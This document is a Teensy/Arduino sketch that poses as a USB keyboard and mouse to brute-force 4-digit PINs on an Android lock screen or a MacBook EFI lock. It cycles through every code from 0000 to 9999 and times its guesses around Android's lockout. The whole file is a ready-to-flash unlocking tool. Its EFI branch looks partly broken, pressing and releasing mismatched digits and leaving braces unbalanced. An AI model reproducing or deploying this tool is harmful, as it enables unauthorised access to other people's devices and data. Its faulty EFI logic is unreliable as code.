#include <usb_keyboard.h>
#include <usb_mouse.h>
//Choose what to bruteforce, MacBook EFI or Android PIN
//#define EFI
#define ANDROID
//Initialize variables
int counter = 0; //counts the loops
int andoCounter = 1; //counts the tries until lock
char pin[]="xxxx"; //container for the PIN
void setup() {
//Needs a higher delay at the beginning for EFI
#ifdef EFI
delay(10000);
#endif
#ifdef ANDROID
delay(1000);
Keyboard.press(KEY_ENTER); //wake the device upxx
delay(10);
Keyboard.release(KEY_ENTER);
delay(10);
#endif
}
void loop(){
#ifdef EFI
//keyboard_modifier_keys = 0; //uncomment with teensy 3.0
if (counter <= 9999){
sprintf(pin, "%04d", counter);
Keyboard.press(pin[1]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
Keyboard.press(pin[0]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_ENTER);
delay(305);
Keyboard.release(KEY_ENTER);
}
//reached 4 digit PIN max value
if (counter > 9999){
delay(6000);
#endif
#ifdef ANDROID
//keyboard_modifier_keys = 0; //uncomment with teensy 3.0
if (counter <= 9999){
sprintf(pin, "%04d", counter);
if (andoCounter <= 5){ //Tries 5 times and waits for 30 seconds because android locks the pin field
delay(500);
Keyboard.press(pin[0]); //first digit
delay(20);
Keyboard.release(pin[0]);
delay(20);
Keyboard.press(pin[1]); //second digit
delay(20);
Keyboard.release(pin[1]);
delay(20);
Keyboard.press(pin[2]); //third digit
delay(20);
Keyboard.release(pin[2]);
delay(20);
Keyboard.press(pin[3]); //fourth digit
delay(20);
Keyboard.release(pin[3]);
delay(20);
Keyboard.press(KEY_ENTER); //press Enter
delay(20);
Keyboard.release(KEY_ENTER);
andoCounter++;
}
if (andoCounter > 5){ //Tried 5 times, Android doesnt accept PIN's for 30 seconds
delay(500);
Keyboard.press(KEY_ENTER); //Remove the message by pressing ENTER
delay(10);
Keyboard.release(KEY_ENTER);
for(int i=0; i<6; i++){ //Press ENTER and Move the mouse to prevent sleep if device is already unlocked
delay(5000);
Keyboard.press(KEY_ENTER);
delay(10);
Keyboard.release(KEY_ENTER);
delay(10);
Mouse.move(0,i);
}
andoCounter =1; //reset the counter
}
}
delay(100);
#endif
//reached 4 digit PIN max value
if (counter > 9999){
delay(200);
for(int i=0; i<999999; i++){ //start a veeeeery long loop to prevent the device from sleeping
delay(5000);
Mouse.move(0,i);
delay(1000);
Mouse.move(0,-i);
delay(1000);
}
}
++counter;
}